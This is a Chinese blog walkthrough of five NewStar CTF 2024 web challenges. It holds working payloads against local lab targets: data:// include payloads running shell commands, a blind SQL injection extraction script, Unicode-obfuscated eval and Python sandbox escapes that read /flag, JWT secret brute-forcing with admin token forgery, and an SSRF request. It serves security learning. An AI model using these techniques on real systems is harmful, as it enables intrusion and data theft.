Huajiの小窝.

NewStar CTF 2024 Web Week3复现

2025/07/20
loading

NewStar CTF 2024 Web Week3复现

平台链接https://ctf.xidian.edu.cn/training/14

紧跟上次week1和week2的题目

写于7.18和7.19

include me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf(){
if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
die("兄弟你别包");
};
}
if(isset($_GET['phpinfo'])){
phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

很容易看出来这是data伪协议的题,所以用base64编码一次,此处注意加号需要编码成%2B,不然会被解析为空格,等号则不能出现在base编码里面,所以后面添上无关信息

1
2
3
http://127.0.0.1:48254?iknow=1&me=data://text/plain;base64,PD89IHN5c3RlbSgnbHMnKTs/PjEy
http://127.0.0.1:48254?iknow=1&me=data://text/plain;base64,PD89IHN5c3RlbSgnbHMgLycpOz8%2BPT09
http://127.0.0.1:48254?iknow=1&me=data://text/plain;base64,PD89IHN5c3RlbSgnY2F0IC9mbGFnJyk7Pz49

blindsql1

如题,考的盲注

1
http://127.0.0.1:48254/?student_name=Charlie'||1%23

过滤了空格,/,=,substr

=用like代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import string
import urllib3

url="http://127.0.0.1:48254/?student_name="
flag=""
charset=string.ascii_lowercase+string.digits+"-_!{}?"
for i in range(1,500):
top=127
bottom=43
while bottom<top:
mid=(top+bottom)//2
print("mid=",mid)
payload1=r'''Charlie'%26%26if(ord(mid(database(),{},1))>{},1,0)%23'''.format(i,mid)
payload2=r'''Charlie'%26%26if(ord(mid((select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),{},1))>{},1,0)%23'''.format(i,mid)
payload3=r'''Charlie'%26%26if(ord(mid((select(group_concat(column_name))from(information_schema.columns)where((table_name)like('secrets'))),{},1))>{},1,0)%23'''.format(i,mid)
payload4=r'''Charlie'%26%26if(ord(mid((select(group_concat(secret_value))from(secrets)),{},1))>{},1,0)%23'''.format(i,mid)
r=requests.get(url+payload4)
#print(r.text)
if r"English" in r.text:
bottom=mid+1
#print("bottom=",bottom)
else:
top=mid
#print("top=",top)
if top==43:
pass
#break
flag+=chr(top)
print("[+]"+flag)

臭皮的计算机

根据提示访问calc,源代码贴在下面了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token

@app.route("/")
def index():
return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():

if request.method == 'POST':
num = request.form.get("num")
script = f'''import os
print(eval("{num}"))
'''
print(script)
if waf(num):
try:
result_output = ''
with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
temp_script.write(script)
temp_script_path = temp_script.name

result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
os.remove(temp_script_path)

result_output = result.stdout if result.returncode == 0 else result.stderr
except Exception as e:

result_output = str(e)
return render_template("calc.html", result=result_output)
else:
return render_template("calc.html", result="臭皮!你想干什么!!")
return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
app.run(host='0.0.0.0', port=30002)

这里要用全角的字符,但是不知道为什么斜体不能直接做,要用chr把数字转成文字

先附上一个自动转斜体的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import string

# 数学斜体字母 (Unicode)
italic_map = {
'a': '𝒂', 'b': '𝒃', 'c': '𝒄', 'd': '𝒅', 'e': '𝒆', 'f': '𝒇', 'g': '𝒈',
'h': '𝒉', 'i': '𝒊', 'j': '𝒋', 'k': '𝒌', 'l': '𝒍', 'm': '𝒎', 'n': '𝒏',
'o': '𝒐', 'p': '𝒑', 'q': '𝒒', 'r': '𝒓', 's': '𝒔', 't': '𝒕', 'u': '𝒖',
'v': '𝒗', 'w': '𝒘', 'x': '𝒙', 'y': '𝒚', 'z': '𝒛',
'A': '𝑨', 'B': '𝑩', 'C': '𝑪', 'D': '𝑫', 'E': '𝑬', 'F': '𝑭', 'G': '𝑮',
'H': '𝑯', 'I': '𝑰', 'J': '𝑱', 'K': '𝑲', 'L': '𝑳', 'M': '𝑴', 'N': '𝑵',
'O': '𝑶', 'P': '𝑷', 'Q': '𝑸', 'R': '𝑹', 'S': '𝑺', 'T': '𝑻', 'U': '𝑼',
'V': '𝑽', 'W': '𝑾', 'X': '𝑿', 'Y': '𝒀', 'Z': '𝒁'
}

def convert_to_italic(text):
"""将普通字母转换为数学斜体"""
result = []
for char in text:
if char in italic_map:
result.append(italic_map[char])
else:
result.append(char) # 非字母字符保持不变
return ''.join(result)

if __name__ == "__main__":
user_input = input("请输入要转换为斜体的英文文本: ")
italic_text = convert_to_italic(user_input)
print("转换结果:", italic_text)

___import_(chr(111)+chr(115)).

𝒄𝒉𝒓(115)+𝒄𝒉𝒓(121)+𝒄𝒉𝒓(115)+𝒄𝒉𝒓(116)+𝒄𝒉𝒓(101)+𝒄𝒉𝒓(109)

再专门写个脚本吧

1
2
3
4
5
6
7
8
9
10
s = "system"
charset = "abcdefghijklmnopqrstuvwxyz"

new_s = []
for char in s:
new_s.append(f"𝒄𝒉𝒓({ord(char)})")

# 用 + 连接所有部分
result = "+".join(new_s)
print(result) # 输出拼接后的表达式
1
2
__𝒊𝒎𝒑𝒐𝒓𝒕__(𝒄𝒉𝒓(111)+𝒄𝒉𝒓(115)).𝒔𝒚𝒔𝒕𝒆𝒎(𝒄𝒉𝒓(108)+𝒄𝒉𝒓(115)+𝒄𝒉𝒓(32)+𝒄𝒉𝒓(47))
__𝒊𝒎𝒑𝒐𝒓𝒕__(𝒄𝒉𝒓(111)+𝒄𝒉𝒓(115)).𝒔𝒚𝒔𝒕𝒆𝒎(𝒄𝒉𝒓(99)+𝒄𝒉𝒓(97)+𝒄𝒉𝒓(116)+𝒄𝒉𝒓(32)+𝒄𝒉𝒓(47)+𝒄𝒉𝒓(102)+𝒄𝒉𝒓(108)+𝒄𝒉𝒓(97)+𝒄𝒉𝒓(103))

臭皮踩踩背

这题是用nc连接的,

只有部分代码显示

1
2
3
4
5
6
7
8
9
	nc 127.0.0.1 48254
你被豌豆关在一个监狱里,,,,,,
豌豆百密一疏,不小心遗漏了一些东西,,,
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,

官方对eval的解释https://docs.python.org/3.10/library/functions.html#eval

具体不是很会

https://ctf.xidian.edu.cn/training/14?challenge=620&tab=answer

Python 中「一切皆对象」

利用函数对象的 __globals__ 属性来逃逸

具体不会

但问ai,ai说用

1
f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read()

这「照片」是你吗

打开网页里面就有

1
2
3
4
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->

所以很明显要进行目录穿越,而浏览器会把../给去掉,所以我们需要一个发包软件,fuzz之后发现app.py有内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time

import os
import requests

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

print(admin_pass)

app = Flask(__name__)
failure_count = 0

users = {
'admin': admin_pass,
'amiya': "114514"
}

def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True

@app.route('/')
def index():
return redirect("/home")

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)

@app.route('/logout')
def logout():
response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', '', expires=0)
return response

@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))

@app.route('/admin')
def admin():
try:
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp_text = render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>GET Server Info from api:</p>
<input type="input" value={{api_url}} id="api" readonly>
<button onclick=execute()>Execute</button>
<script>
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}
</script>
</body>
</html>
''', api_url=request.host_url+"/api", url=request.host_url)
resp = make_response(resp_text)
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)

@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

@app.route("/api")
def api():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp


@app.route("/<path:file>")
def static_file(file):
print(file)
restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc",
"bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
if any(keyword in file for keyword in restricted_keywords):
return make_response("STOP!", 404)
if not os.path.exists("./static/" + file):
return make_response("Not found!", 404)
return send_file("./static/" + file)


if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)

代码审计题,发现造jwt的密钥是六位数字,所以对它进行爆破,发现密码787064,写脚本造cookie

1
2
3
4
5
6
7
8
import time
import requests
import jwt
import sys

secret_key="787064"
fake_token = jwt.encode({'user': 'admin', 'exp': int(time.time()) + 600}, secret_key)
print(fake_token)

然后使用execute中的ssrf漏洞读取内容

1
http://127.0.0.1:48254/execute?api_address=http://localhost:5001/fl4g
CATALOG
  1. 1. NewStar CTF 2024 Web Week3复现
    1. 1.1. include me
    2. 1.2. blindsql1
    3. 1.3. 臭皮的计算机
    4. 1.4. 臭皮踩踩背
    5. 1.5. 这「照片」是你吗